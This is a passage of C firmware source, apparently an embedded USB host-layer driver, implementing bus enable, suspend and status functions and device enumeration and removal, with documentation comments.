/* Device Plug and Play identifier */
busObj->pnpIdentifier = 0x00;
/* Device address " 0 " for newly connected device
Device address is " 1 " for reserved for RootHUB
Mark there as reserved */
busObj->addressBits[0] = ( uint8_t ) 0x03;
}
/* The host layer is now ready */
hostObj->status = SYS_STATUS_READY;
/* Get the pointer to the Host TPL and the
* number of entries in the TPL table. */
hostObj->tpl = hostInit->tplList ;
hostObj->nTPLEntries = hostInit->nTPLEntries;
/* Initialize all drivers in TPL List */
for ( tplEntryCount = 0 ; tplEntryCount < hostObj->nTPLEntries ; tplEntryCount++ )
{
tplEntry = &(hostObj->tpl[tplEntryCount]);
(( USB_HOST_CLIENT_DRIVER *)tplEntry->hostClientDriver)->initialize( tplEntry->hostClientDriverInitData );
}
SYS_DEBUG_MESSAGE(SYS_ERROR_INFO, "\r\nUSB Host Layer: Exiting USB_HOST_Initialize() successfully.");
result = ((SYS_MODULE_OBJ)hostObj);
}
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
SYS_STATUS USB_HOST_Status( SYS_MODULE_OBJ object )
Summary:
Dynamic implementation of USB_HOST_Status system interface function.
Description:
This is the dynamic implementation of USB_HOST_Status system interface
function.
Remarks:
See usb_host.h for usage information.
*/
SYS_STATUS USB_HOST_Status (SYS_MODULE_OBJ usbHostObject)
{
USB_HOST_OBJ * hostObj = (USB_HOST_OBJ *)usbHostObject;
SYS_STATUS result = SYS_STATUS_UNINITIALIZED;
/* Check if we have a valid object */
if(NULL == hostObj)
{
SYS_DEBUG_MESSAGE(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Invalid System Module Object in USB_HOST_Status().");
}
else
{
/* Return the system status of the Host Layer */
result = hostObj->status;
}
return(result);
}
// *****************************************************************************
/* Function:
void USB_HOST_Deinitialize ( SYS_MODULE_OBJ usbHostObject )
Summary:
Dynamic implementation of USB_HOST_Deinitialize system interface function.
Description:
This is the dynamic implementation of USB_HOST_Deinitialize system interface
function.
Remarks:
See usb_host.h for usage information.
*/
void USB_HOST_Deinitialize ( SYS_MODULE_OBJ usbHostObject )
{
/* Host object */
USB_HOST_OBJ * hostObj = (USB_HOST_OBJ *)usbHostObject;
/* Check for NULL pointer */
if(NULL == hostObj )
{
SYS_DEBUG_MESSAGE(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Invalid System Module Object in USB_HOST_Deinitialize().");
}
else
{
/* Set the instance status to de-initialized */
hostObj->status = SYS_STATUS_UNINITIALIZED ;
}
}
// *****************************************************************************
// *****************************************************************************
// Section: USB HOST Layer Client Interface Implementations
// *****************************************************************************
// *****************************************************************************
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_DeviceGetFirst
(
USB_HOST_BUS bus,
USB_HOST_DEVICE_INFO * deviceInfo
);
Summary:
Returns information about the first attached device on the bus.
Description:
This function returns information about the first attached device on the
specified bus. The USB_HOST_DeviceGetNext() function can be used to get the
reference to the next attached device on the bus. The USB_HOST_DEVICE_INFO
object is provided by the application.The device information will be
populated into this object. If there are no devices attached on the bus, the
function will set the deviceObjHandle parameter, in the USB_HOST_DEVICE_INFO
object, to USB_HOST_DEVICE_OBJ_HANDLE INVALID.
Remarks:
None.
*/
USB_HOST_RESULT USB_HOST_DeviceGetFirst
(
USB_HOST_BUS bus,
USB_HOST_DEVICE_INFO * deviceInfo
)
{
USB_HOST_RESULT result = USB_HOST_RESULT_SUCCESS;
USB_HOST_BUS_OBJ * busObj;
USB_HOST_DEVICE_OBJ * deviceObj, * rootHub;
if(bus >= USB_HOST_CONTROLLERS_NUMBER)
{
/* This is an invalid bus */
result = USB_HOST_RESULT_BUS_UNKNOWN;
}
else if (NULL == deviceInfo)
{
/* Parameter is not valid */
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else
{
/* Get a pointer to the bus object */
busObj = &gUSBHostBusList[bus];
/* Set the initial value of the device Info object to invalid incase we
* have to exit with a failure */
deviceInfo->deviceObjHandle = USB_HOST_DEVICE_OBJ_HANDLE_INVALID;
if(busObj->state < USB_HOST_BUS_STATE_ENABLED)
{
/* Bus is not enabled */
result = USB_HOST_RESULT_BUS_NOT_ENABLED;
}
else
{
/* Get the pointer to the first attached device. This will be the
* root hub. The next device after the root hub is the device
* attached to the bus. */
rootHub = busObj->busDeviceList;
deviceObj = rootHub->nextDeviceObj;
result = USB_HOST_RESULT_END_OF_DEVICE_LIST;
while(deviceObj != NULL)
{
/* A device can be reported only if it is ready for interaction
* with the application. If we come across a device which is not
* ready, then we skip it */
if(deviceObj->deviceState == USB_HOST_DEVICE_STATE_READY)
{
/* We have a device connected on the bus. Populate the device
* info object with details about this device */
deviceInfo->deviceObjHandle = deviceObj->deviceIdentifier;
deviceInfo->deviceAddress = deviceObj->deviceAddress;
deviceInfo->bus = USB_HOST_BUS_NUMBER(deviceObj->deviceIdentifier);
result = USB_HOST_RESULT_SUCCESS;
break;
}
else
{
deviceObj = deviceObj->nextDeviceObj;
}
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_DeviceGetNext (USB_HOST_DEVICE_INFO * deviceInfo);
Summary:
Returns information about the next device on the bus.
Description:
This function returns information of the next device attached on the bus.
The USB_HOST_DeviceGetFirst() function should have been called at least once
on the deviceInfo object. Then calling this function repeatedly on the
deviceInfo object will return information about the next attached device on
the bus. When there are no more attached devices to report, the function
returns USB_HOST_RESULT_END_OF_DEVICE_LIST.
Calling the USB_HOST_DeviceGetFirst() function on the deviceInfo object
after the USB_HOST_DeviceGetNext() function has been called will cause the
host to reset the deviceInfo object to point to the first attached device.
Remarks:
None.
*/
USB_HOST_RESULT USB_HOST_DeviceGetNext (USB_HOST_DEVICE_INFO * deviceInfo)
{
USB_HOST_RESULT result = USB_HOST_RESULT_SUCCESS;
USB_HOST_DEVICE_OBJ * deviceObj = NULL;
unsigned int index = 0;
if(NULL == deviceInfo)
{
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else
{
/* Get the device index */
index = USB_HOST_DEVICE_INDEX(deviceInfo->deviceObjHandle);
if(USB_HOST_DEVICES_NUMBER <= index)
{
/* Index is not valid. This should not happen unless the deviceInfo
* has bee tampered with. */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
/* Get a pointer to the device object */
deviceObj = &gUSBHostDeviceList[index];
/* Cross the PNP identifier against the PNP identifier of the device
* that is in the device list. If they don't match then this means
* that device was unplugged and another device has been connected
* */
if(USB_HOST_PNP_IDENTIFIER(deviceInfo->deviceObjHandle) != USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier))
{
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
/* Set default result */
result = USB_HOST_RESULT_END_OF_DEVICE_LIST;
deviceObj = deviceObj->nextDeviceObj;
while(deviceObj != NULL)
{
if(deviceObj->deviceState == USB_HOST_DEVICE_STATE_READY)
{
deviceInfo->deviceObjHandle = deviceObj->deviceIdentifier;
deviceInfo->bus = USB_HOST_BUS_NUMBER(deviceObj->deviceIdentifier);
deviceInfo->deviceAddress = deviceObj->deviceAddress;
result = USB_HOST_RESULT_SUCCESS;
break;
}
else
{
deviceObj = deviceObj->nextDeviceObj;
}
}
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_EventHandlerSet
(
USB_HOST_EVENT_HANDLER * eventHandler,
uintptr_t context
)
Summary:
USB Host Layer Event Handler Callback Function set function.
Description:
This is the USB Host Layer Event Handler Callback Set function. An
application can receive USB Host Layer events by using this function to
register and event handler callback function. The application can
additionally specify a specific context which will returned with the event
handler callback function. The event handler must be set (this function must
be called) before any of the USB buses are enabled.
Remarks:
See usb_host.h for usage information.
*/
USB_HOST_RESULT USB_HOST_EventHandlerSet
(
USB_HOST_EVENT_HANDLER eventHandler,
uintptr_t context
)
{
/* Assign the event handler. The event handler can be NULL in which case the
* host layer will not generate events. The context is returned along with
* the event */
gUSBHostObj.hostEventHandler = eventHandler ;
gUSBHostObj.context = context ;
return (USB_HOST_RESULT_SUCCESS);
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_DeviceSpeedGet
(
USB_HOST_DEVICE_OBJ_HANDLE deviceObjHandle,
USB_SPEED * speed
)
Summary:
Returns the speed at which this device is operating.
Description:
This function returns the speed at which this device is operating.
Precondition:
The USB_HOST_Initialize() function should have been called.
Parameters:
deviceObjHandle - handle to the device whose speed is required.
speed - output parameter. Will contain the speed of the device if the
function was successful.
Returns:
USB_HOST_RESULT_SUCCESS - The function was successful. speed will contain
the speed of the device.
USB_HOST_RESULT_DEVICE_UNKNOWN - The device does not exist in the system.
speed will contain USB_SPEED_ERROR.
USB_HOST_RESULT_FAILURE - an unknown error occurred.
Example:
<code>
</code>
Remarks:
None.
*/
USB_HOST_RESULT USB_HOST_DeviceSpeedGet
(
USB_HOST_DEVICE_OBJ_HANDLE deviceObjHandle,
USB_SPEED * speed
)
{
USB_HOST_RESULT result = USB_HOST_RESULT_SUCCESS;
unsigned int index = 0;
USB_HOST_DEVICE_OBJ * deviceObj = NULL;
/* Check if the parameter is NULL */
if(NULL == speed)
{
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else
{
/* Check if the device index is valid */
index = USB_HOST_DEVICE_INDEX(deviceObjHandle);
if( ( USB_HOST_DEVICES_NUMBER + USB_HOST_CONTROLLERS_NUMBER ) < index)
{
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
/* Get the pointer to the device object */
deviceObj = &gUSBHostDeviceList[index];
/* Validate the plug and play identifier */
if(USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier ) != USB_HOST_PNP_IDENTIFIER(deviceObjHandle))
{
/* The device handle is pointing to a device that does not exist
* in the system */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
/* Everything checks out. Return the device speed */
*speed = deviceObj->speed;
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_BusEnable(USB_HOST_BUS bus)
Summary:
Starts host operations.
Description:
The function starts the operation of the USB Host Bus. It enables the root
hub associated with specified bus and starts the process of detecting
attached devices and enumerating them. The USB_HOST_EventHandlerSet()
function should have been called to register an application host layer event
handler before the Host layer is enabled (before the USB_HOST_BusEnable()
function is called). This will ensure that the application does not miss
any host events.
Remarks:
See usb_host.h for usage information.
*/
USB_HOST_RESULT USB_HOST_BusEnable(USB_HOST_BUS bus)
{
USB_HOST_BUS_OBJ *busObj;
int hcCount;
USB_HOST_RESULT status = USB_HOST_RESULT_FALSE ;
/* Note that this function only sets the state of the bus object
* to indicate that the bus needs will be enabled. The actual enabling is
* performed in the USB Host Layer Tasks Routine. */
if ( bus == USB_HOST_BUS_ALL )
{
for ( hcCount = 0 ; hcCount < USB_HOST_CONTROLLERS_NUMBER ; hcCount++ )
{
busObj = &(gUSBHostBusList[hcCount]);
if(busObj->state < USB_HOST_BUS_STATE_ENABLING)
{
/* This means the bus is not enabled. Set the state to enable
* the bus. */
busObj->state = USB_HOST_BUS_STATE_ENABLING ;
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d About to Open Root Hub Driver.", hcCount);
}
status = USB_HOST_RESULT_SUCCESS ;
}
}
/* Enable specific bus */
else
{
/* Validate bus number */
if( bus < 0 || bus >= USB_HOST_CONTROLLERS_NUMBER )
{
status = USB_HOST_RESULT_BUS_UNKNOWN;
}
else
{
busObj = &(gUSBHostBusList[bus]);
if(busObj->state < USB_HOST_BUS_STATE_ENABLING)
{
/* This means the bus is not enabled. Set the state to enable
* the bus. */
busObj->state = USB_HOST_BUS_STATE_ENABLING ;
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d About to Open Root Hub Driver.", bus);
}
status = USB_HOST_RESULT_SUCCESS;
}
}
return ( status );
}
USB_HOST_RESULT USB_HOST_BusDisable(USB_HOST_BUS bus)
{
USB_HOST_BUS_OBJ *busObj;
int hcCount;
USB_HOST_RESULT status = USB_HOST_RESULT_FALSE ;
/* Note that this function only sets the state of the bus object
* to indicate that the bus needs will be enabled. The actual enabling is
* performed in the USB Host Layer Tasks Routine. */
if ( bus == USB_HOST_BUS_ALL )
{
for ( hcCount = 0 ; hcCount < USB_HOST_CONTROLLERS_NUMBER ; hcCount++ )
{
busObj = &(gUSBHostBusList[hcCount]);
if(busObj->state >= USB_HOST_BUS_STATE_ENABLED)
{
/* This means the bus is not enabled. Set the state to disable
* the bus. */
busObj->state = USB_HOST_BUS_STATE_DISABLING ;
}
status = USB_HOST_RESULT_SUCCESS ;
}
}
/* Enable specific bus */
else
{
/* Validate bus number */
if( bus < 0 || bus >= USB_HOST_CONTROLLERS_NUMBER )
{
status = USB_HOST_RESULT_BUS_UNKNOWN;
}
else
{
busObj = &(gUSBHostBusList[bus]);
if(busObj->state >= USB_HOST_BUS_STATE_ENABLED)
{
/* This means the bus is not enabled. Set the state to enable
* the bus. */
busObj->state = USB_HOST_BUS_STATE_DISABLING ;
}
status = USB_HOST_RESULT_SUCCESS;
}
}
return ( status );
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_BusIsEnabled(USB_HOST_BUS bus)
Summary:
Checks if the bus is enabled.
Description:
The function returns the enable status of the bus. It can be called after
the USB_HOST_BusEnable() function is called, to check if the bus has been
enabled yet. If the bus parameter is set to USB_HOST_BUS_ALL, then the
function will check the enable status of all the busses and will return true
only if all the busses are enabled.
Remarks:
See usb_host.h for usage information.
Remarks:
None.
*/
USB_HOST_RESULT USB_HOST_BusIsEnabled(USB_HOST_BUS bus)
{
USB_HOST_BUS_OBJ *busObj;
int hcCount;
USB_HOST_RESULT status = USB_HOST_RESULT_TRUE ;
if ( bus == USB_HOST_BUS_ALL )
{
for ( hcCount = 0 ; hcCount < USB_HOST_CONTROLLERS_NUMBER ; hcCount++ )
{
busObj = &(gUSBHostBusList[hcCount]);
if(busObj->state <= USB_HOST_BUS_STATE_WAIT_FOR_ENABLE_COMPLETE)
{
/* This means at least one bus is being enabled. And so all
* buses are not enabled yet. */
status = USB_HOST_RESULT_FALSE;
break;
}
else
{
/* The default value of status is USB_HOST_RESULT_TRUE */
}
}
}
else
{
/* Validate bus number */
if( bus < 0 || bus >= USB_HOST_CONTROLLERS_NUMBER )
{
status = USB_HOST_RESULT_BUS_UNKNOWN;
}
else
{
busObj = &(gUSBHostBusList[bus]);
if(busObj->state < USB_HOST_BUS_STATE_ENABLED)
{
/* The bus is in the process of being enabled or is not enabled
* at all. */
status = USB_HOST_RESULT_FALSE;
}
else
{
/* The default value of status is USB_HOST_RESULT_TRUE */
}
}
}
return ( status );
}
USB_HOST_RESULT USB_HOST_BusIsDisabled(USB_HOST_BUS bus)
{
USB_HOST_BUS_OBJ *busObj;
int hcCount;
USB_HOST_RESULT status = USB_HOST_RESULT_TRUE ;
if ( bus == USB_HOST_BUS_ALL )
{
for ( hcCount = 0 ; hcCount < USB_HOST_CONTROLLERS_NUMBER ; hcCount++ )
{
busObj = &(gUSBHostBusList[hcCount]);
if(busObj->state != USB_HOST_BUS_STATE_DISABLED)
{
/* This means at least one bus is being enabled. And so all
* buses are not enabled yet. */
status = USB_HOST_RESULT_FALSE;
break;
}
else
{
/* The default value of status is USB_HOST_RESULT_TRUE */
}
}
}
else
{
/* Validate bus number */
if( bus < 0 || bus >= USB_HOST_CONTROLLERS_NUMBER )
{
status = USB_HOST_RESULT_BUS_UNKNOWN;
}
else
{
busObj = &(gUSBHostBusList[bus]);
if(busObj->state != USB_HOST_BUS_STATE_DISABLED)
{
/* The bus is in process of being disabled or is not disabled
* at all. */
status = USB_HOST_RESULT_FALSE;
}
else
{
/* The default value of status is USB_HOST_RESULT_TRUE */
}
}
}
return ( status );
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_BusSuspend (USB_HOST_BUS bus);
Summary:
Suspends the bus.
Description:
The function suspends the bus. All devices on the bus will be suspended. If
bus is specified as USB_HOST_BUS_ALL, all the buses managed by this host
will be suspended.
Precondition:
The USB_HOST_BusEnable() function should have been called to enable the bus.
Remarks:
See usb_host.h for usage information.
*/
USB_HOST_RESULT USB_HOST_BusSuspend (USB_HOST_BUS bus)
{
USB_HOST_BUS_OBJ *busObj;
int hcCount;
USB_HOST_RESULT status = USB_HOST_RESULT_SUCCESS ;
if ( bus == USB_HOST_BUS_ALL )
{
/* Suspend all USB busses in the system */
for ( hcCount = 0 ; hcCount < USB_HOST_CONTROLLERS_NUMBER ; hcCount++ )
{
busObj = &(gUSBHostBusList[hcCount]);
if( busObj->state < USB_HOST_BUS_STATE_ENABLED )
{
/* This means the bus is not enabled yet */
status = USB_HOST_RESULT_BUS_NOT_ENABLED;
break;
}
else if(busObj->state > USB_HOST_BUS_STATE_ENABLED)
{
/* This means the bus is already being suspended or is in a
* suspended state. */
}
else
{
/* This means the bus is in enabled state. Set the state to
* suspending */
busObj->state = USB_HOST_BUS_STATE_SUSPENDING;
}
}
}
else
{
/* Suspend a specific bus. Validate bus number */
if( bus < 0 || bus >= USB_HOST_CONTROLLERS_NUMBER )
{
status = USB_HOST_RESULT_BUS_UNKNOWN;
}
else
{ /* Set a state for enabling will be in task routine */
busObj = &(gUSBHostBusList[bus]);
if( busObj->state < USB_HOST_BUS_STATE_ENABLED )
{
/* This means the bus is not enabled yet */
status = USB_HOST_RESULT_BUS_NOT_ENABLED;
}
else if(busObj->state > USB_HOST_BUS_STATE_ENABLED)
{
/* This means the bus is already being suspended or is in a
* suspended state. */
}
else
{
/* This means the bus is in enabled state. Set the state to
* suspending */
busObj->state = USB_HOST_BUS_STATE_SUSPENDING;
}
}
}
return ( status );
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_BusIsSuspended (USB_HOST_BUS bus)
Summary:
Returns the suspend status of the bus.
Description:
This function returns suspend status of the specified USB bus. This function
can be used to check the completion of the Resume operation started by using
the USB_HOST_BusResume() function. If the Resume signaling has completed,
the USB_HOST_BusIsSuspended() function would return USB_HOST_RESULT_FALSE
indicating that the bus is not suspended. Calling the
USB_HOST_BusIsSuspended() with bus specified as USB_HOST_BUS_ALL returns the
suspend status of the all USB segments that are managed by the host layer.
The function would return USB_HOST_RESULT_TRUE only if all the bus are in a
suspended state.
Remarks:
See usb_host.h for usage information.
*/
USB_HOST_RESULT USB_HOST_BusIsSuspended (USB_HOST_BUS bus)
{
USB_HOST_BUS_OBJ *busObj;
int hcCount;
USB_HOST_RESULT status = USB_HOST_RESULT_SUCCESS ;
if ( bus == USB_HOST_BUS_ALL )
{
/* Check if all USB busses are suspended */
for ( hcCount = 0 ; hcCount < USB_HOST_CONTROLLERS_NUMBER ; hcCount++ )
{
busObj = &(gUSBHostBusList[hcCount]);
if( busObj->state < USB_HOST_BUS_STATE_ENABLED)
{
/* Bus is not enabled yet */
status = USB_HOST_RESULT_BUS_NOT_ENABLED ;
break;
}
else if(busObj->state <= USB_HOST_BUS_STATE_SUSPENDING)
{
/* Bus is not suspended */
status = USB_HOST_RESULT_FALSE;
break;
}
else
{
/* No action required */
}
}
}
else
{
/* Check if this bus is suspended. Validate the bus number */
if ( bus < 0 || bus >= USB_HOST_CONTROLLERS_NUMBER )
{
status = USB_HOST_RESULT_BUS_UNKNOWN ;
}
else
{
busObj = &(gUSBHostBusList[bus]);
if( busObj->state < USB_HOST_BUS_STATE_ENABLED)
{
/* Bus is not enabled yet */
status = USB_HOST_RESULT_BUS_NOT_ENABLED ;
}
else if(busObj->state < USB_HOST_BUS_STATE_SUSPENDED)
{
/* Bus is not suspended */
status = USB_HOST_RESULT_FALSE;
}
else
{
/* No action required */
}
}
}
return ( status );
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_BusResume (USB_HOST_BUS bus);
Summary:
Resumes the bus.
Description:
The function resumes the bus. All devices on the bus will be receive resume
signaling. If bus is specified as USB_HOST_BUS_ALL, all the buses managed by
this host will be resumed.
Remarks:
See usb_host.h for usage information.
*/
USB_HOST_RESULT USB_HOST_BusResume (USB_HOST_BUS bus)
{
/* This function is not implemented in this release of the USB Host Layer */
USB_HOST_RESULT status = USB_HOST_RESULT_FAILURE ;
return status;
}
// *****************************************************************************
/* Function:
USB_HOST_DEVICE_OBJ_HANDLE USB_HOST_DeviceEnumerate
(
USB_HOST_DEVICE_OBJ_HANDLE parentHubObjHandle,
uint8_t port
);
Summary:
This function will request the host layer to enumerate an attached device.
Description:
This function will request the host layer to enumerate an attached device.
It is called by the hub driver or the root hub when a device is attached.The
function will return a device object handle to the caller. The caller must
specify this handle when the device is detached.
Remarks:
Refer to usb_host_client_driver.h for usage information.
*/
USB_HOST_DEVICE_OBJ_HANDLE USB_HOST_DeviceEnumerate
(
USB_HOST_DEVICE_OBJ_HANDLE parentDeviceIdentifier,
uint8_t port
)
{
bool pnpIsUnique;
uint32_t busNumber;
uint32_t deviceCount = USB_HOST_CONTROLLERS_NUMBER;
USB_HOST_BUS_OBJ * busObj;
uint8_t parentDeviceNumber;
USB_HOST_DEVICE_OBJ * newDeviceObj = NULL,* parentDeviceObj;
USB_HOST_DEVICE_OBJ * deviceObj;
bool interruptWasEnabled;
USB_HOST_DEVICE_OBJ_HANDLE result = USB_HOST_DEVICE_OBJ_HANDLE_INVALID;
USB_CONFIGURATION_DESCRIPTOR * configurationDescriptor = NULL;
/* Get the bus number and the device object index of the parent device. This
* is needed to get the bus object and the parent device object */
busNumber = USB_HOST_BUS_NUMBER(parentDeviceIdentifier );
parentDeviceNumber = USB_HOST_DEVICE_INDEX(parentDeviceIdentifier );
parentDeviceObj = & gUSBHostDeviceList [ parentDeviceNumber ];
busObj = &(gUSBHostBusList[busNumber]);
/* We disable all interrupts here. When a hub is attached, this function
* will be called from the IRP callback of the hub driver status IRP. This
* callback runs in an interrupt context. We want the process of assigning
* a device object to be atomic */
interruptWasEnabled = SYS_INT_Disable();
/* Now search for a free device object. The search must start from the
* USB_HOST_CONTROLLER_NUMBERS because the first set of device objects in
* the device object array are reserved for root hub devices. */
for (deviceCount = USB_HOST_CONTROLLERS_NUMBER;
deviceCount < (USB_HOST_DEVICES_NUMBER + USB_HOST_CONTROLLERS_NUMBER); deviceCount ++ )
{
if (gUSBHostDeviceList[deviceCount].inUse == false )
{
/* This means we found a new object. Grab it and stop the search */
newDeviceObj = &gUSBHostDeviceList[deviceCount];
/* Before we reset this object to zero, we must make a backup of the
* configuration descriptor pointer, so that we can free this memory
* before we start the enumeration process. The memory cannot be
* freed here because this function is called in an interrupt
* function. */
configurationDescriptor = newDeviceObj->configDescriptorInfo.configurationDescriptor;
/* Completely clear up this object */
memset (newDeviceObj, 0, sizeof(USB_HOST_DEVICE_OBJ));
/* Grab this object */
newDeviceObj->inUse = true;
break;
}
}
/* We can now enable the interrupts */
if(interruptWasEnabled)
{
SYS_INT_Enable();
}
if(newDeviceObj != NULL)
{
/* This means we found a device object. Initialize the new device
* object. The HCD interface will be always the HCD interface of the
* parent */
newDeviceObj->hcdInterface = parentDeviceObj->hcdInterface;
newDeviceObj->devicePort = port;
if (parentDeviceObj->deviceAddress == USB_HOST_ROOT_HUB_ADDRESS )
{
/* If the parent device is the root hub, the hub interface for
* the device should be root hub interface */
newDeviceObj->hubInterface = &(parentDeviceObj->hcdInterface->rootHubInterface.rootHubPortInterface);
newDeviceObj->hubAddress = 0;
newDeviceObj->hubHandle = busObj->hcdHandle;
}
else
{
/* If the parent device is a hub, then the hub interface for the
* device should be the external hub interface */
newDeviceObj->hubInterface = USB_HOST_HUB_INTERFACE;
newDeviceObj->hubAddress = parentDeviceObj->deviceAddress;
newDeviceObj->hubHandle = parentDeviceIdentifier;
}
/* These members of the device object need to be initialized to specific
* values */
newDeviceObj->parentDeviceIdentifier = parentDeviceIdentifier;
newDeviceObj->hcdHandle = busObj->hcdHandle;
newDeviceObj->deviceAddress = USB_HOST_DEFAULT_ADDRESS ;
newDeviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_ENUMERATION;
newDeviceObj->tplEntryTried = -1;
newDeviceObj->deviceClScPTried = -1;
newDeviceObj->configDescriptorInfo.configurationNumber = USB_HOST_CONFIGURATION_NUMBER_INVALID;
/* Note that this memory address that is being assigned here will be
* freed up before the enumeration process starts. */
newDeviceObj->configDescriptorInfo.configurationDescriptor = configurationDescriptor;
/* Allocate a Plug N Play identifier. This identifier will be unique
* to the attached device. It counts upwards and only repeats after
* 0xFFFE. */
do
{
/* Increment the pnpIdentifier. */
busObj->pnpIdentifier ++;
if(busObj->pnpIdentifier == 0xFFFE)
{
/* Rollover to start from 1 */
busObj->pnpIdentifier = 1;
}
/* Check if this identifier is used by any device on this bus
* */
deviceObj = busObj->busDeviceList;
pnpIsUnique = true;
while(deviceObj != NULL)
{
if(USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier) == busObj->pnpIdentifier)
{
/* The proposed PNP is already in use. Stop scanning */
pnpIsUnique = false;
break;
}
else
{
/* Get the next device */
deviceObj = deviceObj->nextDeviceObj;
}
}
} while(pnpIsUnique == false);
/* Add this object to the bus device list */
deviceObj = busObj->busDeviceList;
/* Get to the end of the list */
while( deviceObj->nextDeviceObj != NULL )
{
deviceObj = deviceObj->nextDeviceObj;
}
/* Add the object */
deviceObj->nextDeviceObj = newDeviceObj;
/* Create the device object handle */
newDeviceObj->deviceIdentifier = _USB_HOST_DeviceObjHandleGet(busObj->pnpIdentifier, busNumber, deviceCount);
newDeviceObj->deviceClientHandle = newDeviceObj->deviceIdentifier;
/* Update result */
result = newDeviceObj->deviceIdentifier;
}
else
{
/* We could not find a spare device object */
SYS_DEBUG_MESSAGE( SYS_ERROR_INFO , "USB_HOST_DeviceEnumerate : Max Devices connected \r\n");
}
return(result);
}
// *****************************************************************************
/* Function:
void USB_HOST_DeviceDenumerate
(
USB_HOST_DEVICE_OBJ_HANDLE deviceObjHandle
);
Summary:
De-enumerates an attached device.
Description:
This function de-enumerates an attached device. This function is called by the
USB_HOST_DeviceDenumerate() function which in turn is called by the root hub
or the external hub when a device is detached. The deviceObjHandle is the
handle of the device that was detached. This is the same handle that was
returned by the USB_HOST_DeviceEnumerate() function. This function will
release the device and interface level drivers. It will then remove the
object from the bus list and will deallocate the device object.
If the object to be removed is a hub, the hub driver will call the
USB_HOST_DeviceDenumerate() function for all its ports. This function will
not search for child devices when a parent is removed.
Remarks:
This is a local function and should not be called directly by the
application.
*/
void USB_HOST_DeviceDenumerate( USB_HOST_DEVICE_OBJ_HANDLE deviceObjHandle )
{
USB_HOST_DEVICE_OBJ * prevDeviceObj, * deviceObj, * deleteDeviceObj;
USB_HOST_BUS_OBJ * busObj;
USB_HOST_CONFIGURATION_INFO * configurationInfo;
int index, busIndex;
bool interruptIsEnabled;
/* Check if the device object handle is valid. */
if(deviceObjHandle != USB_HOST_DEVICE_OBJ_HANDLE_INVALID)
{
/* Get the device index from the device object handle */
index = USB_HOST_DEVICE_INDEX(deviceObjHandle);
deviceObj = &gUSBHostDeviceList[index];
/* It is possible that this function can be called from two paths. The
* main is the device detach path. The other path is the device
* malfunction (possibly due to over current). The device malfunction
* path will be detected in the Host Task routine context. But the
* device detach path occurs in an interrupt context. We cannot allow
* multiple entries on the same device. This may occur especially in the
* case of a root hub, where the root hub driver will disable the power
* to the device when it detects an overcurrent situation, but disabling
* the power which may also cause a device detach interrupt, in which
* case this function will re-enter with the same device object handle.
* Hence we make this a critical section */
interruptIsEnabled = SYS_INT_Disable();
if(deviceObj->inUse)
{
busIndex = USB_HOST_BUS_NUMBER(deviceObjHandle);
busObj = &gUSBHostBusList[busIndex];
deleteDeviceObj = deviceObj;
/* If there is device level client driver, then release the client driver */
if(deviceObj->deviceClientDriver != NULL )
{
deviceObj->deviceClientDriver->deviceRelease( deviceObj->deviceClientHandle);
}
/* Get the configuration information */
configurationInfo = &(deviceObj->configDescriptorInfo);
if(configurationInfo->configurationDescriptor != NULL)
{
/* For each interface in the configuration, if the interface is assigned to
* client driver, then release these client drivers. */
_USB_HOST_ReleaseInterfaceDrivers(deviceObj);
}
/* Close the control pipe */
deviceObj->hcdInterface->hostPipeClose ( deviceObj->controlPipeHandle );
deviceObj->controlPipeHandle = DRV_USB_HOST_PIPE_HANDLE_INVALID;
/* Release address */
_USB_HOST_FreeAddress (deviceObj->deviceIdentifier);
/* Any dynamic memory that is allocated to the device is released
* when the device object is used again. The denumerate function
* which could be called from an interrupt context is really a bad
* place to free up memory. */
/* If this device was enumerating then release the enumeration flag */
if((busObj->deviceIsEnumerating) && (busObj->enumeratingDeviceIdentifier == deviceObjHandle))
{
/* Clear the enumerating flag, so that we can let other device
* enumerate */
busObj->deviceIsEnumerating = false;
}
/* The device needs to be removed from the bus list. The first device in the
* bus list is the root hub. So prevDeviceObj here is the root hub device.
* */
prevDeviceObj = busObj->busDeviceList;
/* The device connect to the root hub is the device attached to the bus. */
deviceObj = prevDeviceObj->nextDeviceObj;
while(deviceObj != NULL)
{
/* Check if this is the object to delete */
if ( deleteDeviceObj == deviceObj )
{
/* Remove this device from the linked list */
prevDeviceObj->nextDeviceObj = deviceObj->nextDeviceObj ;
/* Clear the nextDeviceObj of the deleted device object */
deleteDeviceObj->nextDeviceObj = NULL;
break;
}
else
{
/* Else continue search till we have reached end of the list */
prevDeviceObj = deviceObj;
deviceObj = deviceObj->nextDeviceObj;
}
}
/* Deallocate the device object */
deviceObj->inUse = false;
}
else
{
/* This means this object is not valid any more. We should not have
* to do anything */
}
if(interruptIsEnabled)
{
SYS_INT_Enable();
}
}
else
{
/* The device object handle is not valid. We don't have to do anything */
}
}
// *****************************************************************************
/* Function:
void USB_HOST_Tasks (SYS_MODULE_OBJ object );
Summary:
Maintains the USB Host Layer state machine.
Description:
This routine maintains the USB Host layer state machine. It must be called
